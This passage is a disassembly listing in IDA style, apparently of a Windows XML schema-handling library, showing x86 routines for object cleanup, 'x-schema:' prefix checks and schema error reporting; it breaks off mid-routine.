sub_69B8AF02	proc near		; CODE XREF: sub_69B8AEDA+13p
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+4], 0
		jz	short loc_69B8AF1D
		mov	eax, [esi+4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, [esi+4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8AF1D:				; CODE XREF: sub_69B8AF02+7j
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B8AF02	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AF25	proc near		; DATA XREF: .text:69B14884o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B8AF43
		push	ebx
		mov	ebx, eax


loc_69B8AF36:				; CODE XREF: sub_69B8AF25+1Bj
		push	edi
		call	sub_69B17230
		add	edi, 8
		dec	ebx
		jnz	short loc_69B8AF36
		pop	ebx


loc_69B8AF43:				; CODE XREF: sub_69B8AF25+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B8AF25	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AF4C	proc near		; CODE XREF: sub_69B8AF80+6p
					; sub_69B8BD72+8Dp

arg_0		= dword	ptr  4

		mov	eax, ds:dword_69B27820
		mov	edx, [esp+arg_0]
		cmp	[edx+8], eax
		jl	short loc_69B8AF7B
		push	esi
		mov	esi, [edx+0Ch]
		push	edi
		lea	ecx, [eax+eax]
		mov	edi, offset aXSchema ; "x-schema:"
		xor	eax, eax
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_69B8AF74
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_69B8AF74:				; CODE XREF: sub_69B8AF4C+21j
		test	eax, eax
		jnz	short loc_69B8AF7B
		inc	eax
		jmp	short locret_69B8AF7D
; ---------------------------------------------------------------------------


loc_69B8AF7B:				; CODE XREF: sub_69B8AF4C+Cj
					; sub_69B8AF4C+2Aj
		xor	eax, eax

locret_69B8AF7D:			; CODE XREF: sub_69B8AF4C+2Dj
		retn	4
sub_69B8AF4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AF80	proc near		; CODE XREF: sub_69B8B9D9+30p
					; sub_69B8BD72+71p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_69B8AF4C
		test	al, al
		jz	short loc_69B8AF9E
		mov	eax, [esi+0Ch]
		cmp	word ptr [eax+12h], 23h
		jnz	short loc_69B8AF9E
		xor	eax, eax
		inc	eax
		jmp	short loc_69B8AFA0
; ---------------------------------------------------------------------------


loc_69B8AF9E:				; CODE XREF: sub_69B8AF80+Dj
					; sub_69B8AF80+17j
		xor	eax, eax


loc_69B8AFA0:				; CODE XREF: sub_69B8AF80+1Cj
		pop	esi
		retn	4
sub_69B8AF80	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AFA4	proc near		; CODE XREF: sub_69B8B8E1+3Ep
					; sub_69B8C6DE+31p
		mov	eax, ecx
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		jz	short loc_69B8AFB2
		mov	eax, [ecx]
		jmp	dword ptr [eax+2Ch]
; ---------------------------------------------------------------------------


loc_69B8AFB2:				; CODE XREF: sub_69B8AFA4+7j
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		jmp	dword ptr [eax+2Ch]
sub_69B8AFA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AFBA	proc near		; CODE XREF: sub_69B486D2+2Bp
					; sub_69B48AA4+33p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		cmp	[esp+arg_4], 0
		lea	eax, [ecx+40h]
		jnz	short loc_69B8AFC7
		lea	eax, [ecx+44h]


loc_69B8AFC7:				; CODE XREF: sub_69B8AFBA+8j
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_69B8AFDC
		push	[esp+arg_0]
		mov	ecx, eax
		call	sub_69B1980A
		test	eax, eax
		jnz	short locret_69B8AFDE


loc_69B8AFDC:				; CODE XREF: sub_69B8AFBA+11j
		xor	eax, eax

locret_69B8AFDE:			; CODE XREF: sub_69B8AFBA+20j
		retn	8
sub_69B8AFBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8AFE1	proc near		; CODE XREF: sub_69B8ECE6+ABp

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		lea	eax, [ecx+40h]
		jnz	short loc_69B8AFEE
		lea	eax, [ecx+44h]


loc_69B8AFEE:				; CODE XREF: sub_69B8AFE1+8j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_69B8B004
		call	sub_69B2FAF8
		lea	ecx, [eax+8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		jmp	short locret_69B8B00C
; ---------------------------------------------------------------------------


loc_69B8B004:				; CODE XREF: sub_69B8AFE1+11j
		push	1
		push	eax
		call	sub_69B3156E

locret_69B8B00C:			; CODE XREF: sub_69B8AFE1+21j
		retn	4
sub_69B8AFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B00F	proc near		; CODE XREF: sub_69B3E780+16p
					; sub_69B481EB+36p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esi+54h]
		test	ecx, ecx
		jnz	short loc_69B8B01D
		xor	eax, eax
		jmp	short loc_69B8B02F
; ---------------------------------------------------------------------------


loc_69B8B01D:				; CODE XREF: sub_69B8B00F+8j
		push	[esp+4+arg_0]
		call	sub_69B1980A
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B3EB79


loc_69B8B02F:				; CODE XREF: sub_69B8B00F+Cj
		pop	esi
		retn	4
sub_69B8B00F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B033	proc near		; CODE XREF: sub_69B14EAC+116p
					; sub_69B4AE80+3Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [ecx+54h]
		test	ecx, ecx
		jnz	short loc_69B8B03E
		xor	al, al
		jmp	short locret_69B8B04C
; ---------------------------------------------------------------------------


loc_69B8B03E:				; CODE XREF: sub_69B8B033+5j
		push	[esp+arg_0]
		call	sub_69B17DC6
		test	eax, eax
		setnz	al

locret_69B8B04C:			; CODE XREF: sub_69B8B033+9j
		retn	4
sub_69B8B033	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B04F	proc near		; CODE XREF: sub_69B4A077+22p

arg_0		= dword	ptr  4

		mov	ecx, [ecx+48h]
		test	ecx, ecx
		jz	short loc_69B8B068
		push	[esp+arg_0]
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B8B068
		mov	eax, [eax+10h]
		jmp	short locret_69B8B06A
; ---------------------------------------------------------------------------


loc_69B8B068:				; CODE XREF: sub_69B8B04F+5j
					; sub_69B8B04F+12j
		xor	eax, eax

locret_69B8B06A:			; CODE XREF: sub_69B8B04F+17j
		retn	4
sub_69B8B04F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B06D	proc near		; CODE XREF: sub_69B49C1F+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [ecx+48h]
		test	ecx, ecx
		jz	short loc_69B8B0A1
		push	[esp+arg_0]
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B8B0A1
		cmp	dword ptr [eax+10h], 0
		jz	short loc_69B8B0A1
		push	[esp+arg_4]
		mov	ecx, eax
		call	sub_69B8C678
		test	eax, eax
		jz	short loc_69B8B0A1
		cmp	byte ptr [eax+31h], 0
		jnz	short loc_69B8B0A1
		mov	eax, [eax+10h]
		jmp	short locret_69B8B0A3
; ---------------------------------------------------------------------------


loc_69B8B0A1:				; CODE XREF: sub_69B8B06D+5j
					; sub_69B8B06D+12j ...
		xor	eax, eax

locret_69B8B0A3:			; CODE XREF: sub_69B8B06D+32j
		retn	8
sub_69B8B06D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B0A6	proc near		; CODE XREF: sub_69B49CDF+9Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [ecx+48h]
		test	ecx, ecx
		jz	short loc_69B8B0D6
		push	[esp+arg_0]
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B8B0D6
		mov	eax, [eax+10h]
		test	eax, eax
		jz	short loc_69B8B0D6
		push	0
		push	0Fh
		push	[esp+8+arg_8]
		mov	ecx, eax
		push	[esp+0Ch+arg_4]
		call	sub_69B49CDF
		jmp	short locret_69B8B0D8
; ---------------------------------------------------------------------------


loc_69B8B0D6:				; CODE XREF: sub_69B8B0A6+5j
					; sub_69B8B0A6+12j ...
		xor	eax, eax

locret_69B8B0D8:			; CODE XREF: sub_69B8B0A6+2Ej
		retn	0Ch
sub_69B8B0A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B0DB	proc near		; CODE XREF: sub_69B8BD72+2Cp

arg_0		= dword	ptr  4

		mov	ecx, [ecx+60h]
		test	ecx, ecx
		push	esi
		jz	short loc_69B8B10E
		cmp	[esp+4+arg_0], 0
		jz	short loc_69B8B10E
		push	[esp+4+arg_0]
		call	sub_69B1980A
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B8B10E
		push	esi
		call	sub_69B3D1F0
		mov	ecx, eax
		call	sub_69B1885E
		test	al, al
		jz	short loc_69B8B10E
		mov	eax, esi
		jmp	short loc_69B8B110
; ---------------------------------------------------------------------------


loc_69B8B10E:				; CODE XREF: sub_69B8B0DB+6j
					; sub_69B8B0DB+Dj ...
		xor	eax, eax


loc_69B8B110:				; CODE XREF: sub_69B8B0DB+31j
		pop	esi
		retn	4
sub_69B8B0DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B114	proc near		; CODE XREF: sub_69B4936A+74p
					; sub_69B5B263+68p ...
		mov	ecx, [ecx+64h]
		test	ecx, ecx
		jnz	sub_69B1980A
		xor	eax, eax
		retn	4
sub_69B8B114	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8B124	proc near		; CODE XREF: sub_69B8B84D+57p
					; sub_69B8B84D+88p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	al, byte ptr [ebp+arg_C]
		mov	[ebp+var_10], al
		mov	eax, [ebp+arg_10]
		push	esi
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_14]
		push	1
		push	[ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_4], eax
		call	sub_69B3156E
		mov	esi, eax
		jmp	short loc_69B8B16B
; ---------------------------------------------------------------------------


loc_69B8B151:				; CODE XREF: sub_69B8B124+50j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	[ebp+arg_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	0
		push	[ebp+arg_4]
		call	[ebp+arg_8]


loc_69B8B16B:				; CODE XREF: sub_69B8B124+2Bj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B8B151
		pop	esi
		leave
		retn	1Ch
sub_69B8B124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8B17B	proc near		; CODE XREF: sub_69B8B17B+82p
					; sub_69B8D85E+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [ecx+34h]
		mov	[ebp+var_4], ecx
		mov	ecx, esi
		call	sub_69B8C56F
		and	[ebp+arg_0], 0
		test	byte ptr [esi+30h], 4
		mov	ebx, eax
		jz	short loc_69B8B1CA
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+3Ch]
		mov	edx, [eax]
		push	0
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		mov	edi, 0C00CE003h
		push	edi
		call	sub_69B2F944
		add	esp, 0Ch
		push	dword ptr [esi+28h]
		push	dword ptr [esi+24h]
		push	eax
		push	edi
		call	sub_69B2E901


loc_69B8B1CA:				; CODE XREF: sub_69B8B17B+21j
		or	dword ptr [esi+30h], 4
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, ebx
		call	sub_69B48DC1
		jmp	short loc_69B8B20D
; ---------------------------------------------------------------------------


loc_69B8B1DB:				; CODE XREF: sub_69B8B17B+96j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		cmp	eax, 0Bh
		jnz	short loc_69B8B202
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax+38h]
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B8AFBA
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B8B17B


loc_69B8B202:				; CODE XREF: sub_69B8B17B+6Aj
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, ebx
		call	sub_69B47DCC


loc_69B8B20D:				; CODE XREF: sub_69B8B17B+5Ej
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B8B1DB
		and	dword ptr [esi+30h], 0FFFFFFFBh
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B8B17B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8B21E	proc near		; CODE XREF: sub_69B4E634+6Dp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		mov	[ebp+var_4], ecx
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_69B48DC1
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B8B2A2
		push	ebx
		mov	ebx, 0C00CE002h


loc_69B8B24F:				; CODE XREF: sub_69B8B21E+81j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	eax, 0Bh
		jnz	short loc_69B8B290
		cmp	[ebp+arg_0], 0
		jz	short loc_69B8B290
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B8B290
		mov	ecx, [ebp+var_4]
		push	0
		push	esi
		call	sub_69B8AFBA
		test	eax, eax
		jnz	short loc_69B8B290
		push	eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		push	eax
		push	ebx
		push	ebx
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8B290:				; CODE XREF: sub_69B8B21E+3Bj
					; sub_69B8B21E+41j ...
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_69B47DCC
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B8B24F
		pop	ebx


loc_69B8B2A2:				; CODE XREF: sub_69B8B21E+29j
		pop	edi
		pop	esi
		leave
		retn	4
sub_69B8B21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B2A8	proc near		; CODE XREF: sub_69B8C4AA+54p
					; sub_69B8D25F+D5p

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+2Fh], 0
		jnz	short locret_69B8B2D3
		mov	ecx, [ecx+5Ch]
		test	ecx, ecx
		jz	short locret_69B8B2D3
		push	[esp+arg_0]
		call	sub_69B4D511
		test	al, al
		jnz	short locret_69B8B2D3
		mov	eax, 0C00CE013h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch

locret_69B8B2D3:			; CODE XREF: sub_69B8B2A8+4j
					; sub_69B8B2A8+Bj ...
		retn	4
sub_69B8B2A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B2D6	proc near		; CODE XREF: sub_69B8C084+293p
					; sub_69B8D56F+CEp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jz	short loc_69B8B313
		cmp	[esp+4+arg_4], 0
		jz	short loc_69B8B2FC
		mov	ecx, [eax+2Ch]
		call	sub_69B8F756
		test	al, al
		jnz	short loc_69B8B2FC
		mov	eax, 0C00CE011h
		jmp	short loc_69B8B307
; ---------------------------------------------------------------------------


loc_69B8B2FC:				; CODE XREF: sub_69B8B2D6+11j
					; sub_69B8B2D6+1Dj
		cmp	byte ptr [esi+14h], 0
		jnz	short loc_69B8B313
		mov	eax, 0C00CE012h


loc_69B8B307:				; CODE XREF: sub_69B8B2D6+24j
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B8B313:				; CODE XREF: sub_69B8B2D6+Aj
					; sub_69B8B2D6+2Aj
		pop	esi
		retn	8
sub_69B8B2D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B317	proc near		; CODE XREF: sub_69B8BC27+14p
					; sub_69B8BCA2+21p

arg_0		= dword	ptr  4

		mov	ecx, [ecx+48h]
		test	ecx, ecx
		jnz	short loc_69B8B322
		xor	eax, eax
		jmp	short locret_69B8B32B
; ---------------------------------------------------------------------------


loc_69B8B322:				; CODE XREF: sub_69B8B317+5j
		push	[esp+arg_0]
		call	sub_69B1980A

locret_69B8B32B:			; CODE XREF: sub_69B8B317+9j
		retn	8
sub_69B8B317	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B32E	proc near		; DATA XREF: .text:69B16DB8o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B8B32E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8B35A	proc near		; CODE XREF: sub_69B8B602+Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		xor	ebx, ebx
		sub	eax, ebx
		jz	short loc_69B8B38D
		dec	eax
		jnz	short loc_69B8B3A3
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+50h]
		cmp	ecx, ebx
		mov	eax, [esi+0Ch]
		jnz	short loc_69B8B37E
		xor	eax, eax
		jmp	short loc_69B8B384
; ---------------------------------------------------------------------------


loc_69B8B37E:				; CODE XREF: sub_69B8B35A+1Ej
		push	eax
		call	sub_69B1980A


loc_69B8B384:				; CODE XREF: sub_69B8B35A+22j
		mov	[ebp+arg_0], 0C00CE021h
		jmp	short loc_69B8B39F
; ---------------------------------------------------------------------------


loc_69B8B38D:				; CODE XREF: sub_69B8B35A+Ej
		push	dword ptr [esi+0Ch]
		mov	ecx, [ebp+arg_0]
		call	sub_69B8B00F
		mov	[ebp+arg_0], 0C00CE00Eh


loc_69B8B39F:				; CODE XREF: sub_69B8B35A+31j
		cmp	eax, ebx
		jnz	short loc_69B8B401


loc_69B8B3A3:				; CODE XREF: sub_69B8B35A+11j
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	edi
		mov	edi, [esi+8]
		push	ebx
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B2F944
		add	esp, 10h
		cmp	[esi+18h], bl
		mov	edi, eax
		jz	short loc_69B8B3E3
		push	ebx
		push	0C00CE00Fh
		call	sub_69B2F944
		push	ebx
		push	eax
		push	edi
		call	sub_69B2F2CA
		add	esp, 14h
		mov	edi, eax


loc_69B8B3E3:				; CODE XREF: sub_69B8B35A+6Fj
		mov	eax, [esi+10h]
		cmp	eax, ebx
		jle	short loc_69B8B3F7
		push	dword ptr [esi+14h]
		push	eax
		push	edi
		push	[ebp+arg_0]
		call	sub_69B2E901


loc_69B8B3F7:				; CODE XREF: sub_69B8B35A+8Ej
		push	[ebp+arg_0]
		push	edi
		call	sub_69B2E8A2
		pop	edi


loc_69B8B401:				; CODE XREF: sub_69B8B35A+47j
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_69B8B35A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B407	proc near		; DATA XREF: .text:off_69B16E34o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	eax, [edi+edi*2]
		lea	eax, ds:10h[eax*4]
		push	eax
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], edi
		call	sub_69B19118
		pop	edi
		mov	dword ptr [esi], offset	off_69B14890
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8B407	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B436	proc near		; DATA XREF: .text:off_69B16E38o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	eax, ds:10h[edi*8]
		push	eax
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], edi
		call	sub_69B19118
		pop	edi
		mov	dword ptr [esi], offset	off_69B14850
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8B436	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B462	proc near		; CODE XREF: sub_69B8E980+22Ap

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	byte ptr [edi+30h], 1
		lea	esi, [ecx+40h]
		jnz	short loc_69B8B474
		lea	esi, [ecx+44h]


loc_69B8B474:				; CODE XREF: sub_69B8B462+Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8B495
		call	sub_69B17275
		neg	eax
		sbb	al, al
		inc	al
		push	eax
		push	1
		push	0Bh
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8B495:				; CODE XREF: sub_69B8B462+15j
		mov	ecx, [esi]
		push	edi
		push	dword ptr [edi+8]
		call	sub_69B3182D
		pop	edi
		pop	esi
		retn	4
sub_69B8B462	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B4A5	proc near		; CODE XREF: sub_69B8C45B+21p
					; sub_69B8DCB5+66p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		jnz	short loc_69B8B4B7
		mov	esi, 0C00CE002h
		jmp	short loc_69B8B4D3
; ---------------------------------------------------------------------------


loc_69B8B4B7:				; CODE XREF: sub_69B8B4A5+9j
		cmp	[eax+18h], edx
		jnz	short loc_69B8B4C9
		cmp	[esp+4+arg_8], dl
		jz	short loc_69B8B4C9
		mov	esi, 0C00CE007h
		jmp	short loc_69B8B4D3
; ---------------------------------------------------------------------------


loc_69B8B4C9:				; CODE XREF: sub_69B8B4A5+15j
					; sub_69B8B4A5+1Bj
		cmp	[eax+20h], edx
		jz	short loc_69B8B4EB
		mov	esi, 0C00CE006h


loc_69B8B4D3:				; CODE XREF: sub_69B8B4A5+10j
					; sub_69B8B4A5+22j
		mov	eax, [esp+4+arg_4]
		mov	ecx, [eax+14h]
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+2Ch]
		push	eax
		push	esi
		push	esi
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8B4EB:				; CODE XREF: sub_69B8B4A5+27j
		pop	esi
		retn	0Ch
sub_69B8B4A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B4EF	proc near		; CODE XREF: sub_69B5B197+50p
					; sub_69B8C881+10Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+48h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8B518
		call	sub_69B17275
		neg	eax
		sbb	al, al
		inc	al
		push	eax
		push	1
		push	10h
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8B518:				; CODE XREF: sub_69B8B4EF+Bj
		mov	ebx, [esp+0Ch+arg_4]
		test	ebx, ebx
		jnz	short loc_69B8B527
		mov	eax, [esp+0Ch+arg_0]
		mov	ebx, [eax+8]


loc_69B8B527:				; CODE XREF: sub_69B8B4EF+2Fj
		mov	ecx, [edi+4Ch]
		test	ecx, ecx
		jz	short loc_69B8B534
		push	ebx
		call	sub_69B17DC6


loc_69B8B534:				; CODE XREF: sub_69B8B4EF+3Dj
		push	[esp+0Ch+arg_0]
		mov	ecx, [esi]
		push	ebx
		call	sub_69B3182D
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B8B4EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B546	proc near		; CODE XREF: sub_69B8E980+97p

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [ecx+50h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8B56B
		call	sub_69B17275
		neg	eax
		sbb	al, al
		inc	al
		push	eax
		push	1
		push	0Bh
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8B56B:				; CODE XREF: sub_69B8B546+7j
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esi]
		push	eax
		push	dword ptr [eax+8]
		call	sub_69B3182D
		pop	esi
		retn	4
sub_69B8B546	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B57E	proc near		; CODE XREF: sub_69B481EB+68p
					; sub_69B49816+B7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		lea	esi, [ecx+54h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8B5A3
		call	sub_69B17275
		neg	eax
		sbb	al, al
		inc	al
		push	eax
		push	0
		push	0Bh
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8B5A3:				; CODE XREF: sub_69B8B57E+7j
		mov	ecx, [esp+4+arg_4]
		mov	eax, [ecx]
		mov	esi, [esi]
		call	dword ptr [eax+0ECh]
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_69B3182D
		pop	esi
		retn	8
sub_69B8B57E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8B5C1	proc near		; CODE XREF: sub_69B4E634+2B1p
					; sub_69B8C997+B2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	24h
		mov	esi, ecx
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8B5F1
		push	[ebp+arg_14]
		mov	edx, [esi+58h]
		push	[ebp+arg_10]
		mov	ecx, eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	edx
		call	sub_69B16D24
		jmp	short loc_69B8B5F3
; ---------------------------------------------------------------------------


loc_69B8B5F1:				; CODE XREF: sub_69B8B5C1+Fj
		xor	eax, eax


loc_69B8B5F3:				; CODE XREF: sub_69B8B5C1+2Ej
		push	eax
		add	esi, 58h
		push	esi
		call	sub_69B17320
		pop	esi
		pop	ebp
		retn	18h
sub_69B8B5C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B602	proc near		; CODE XREF: sub_69B4E45A+BEp
					; sub_69B8C4AA+6Dp ...
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ebx, [edi+58h]
		mov	esi, [ebx]
		jmp	short loc_69B8B623
; ---------------------------------------------------------------------------


loc_69B8B60E:				; CODE XREF: sub_69B8B602+23j
		push	edi
		mov	ecx, esi
		call	sub_69B8B35A
		lea	eax, [esi+1Ch]
		mov	esi, [eax]
		push	0
		push	eax
		call	sub_69B17320


loc_69B8B623:				; CODE XREF: sub_69B8B602+Aj
		test	esi, esi
		jnz	short loc_69B8B60E
		push	esi
		push	ebx
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B8B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B632	proc near		; CODE XREF: sub_69B3DADB+BFp
					; sub_69B3E044+28p ...
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	ebx
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+50h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+54h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+58h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+5Ch]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+60h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
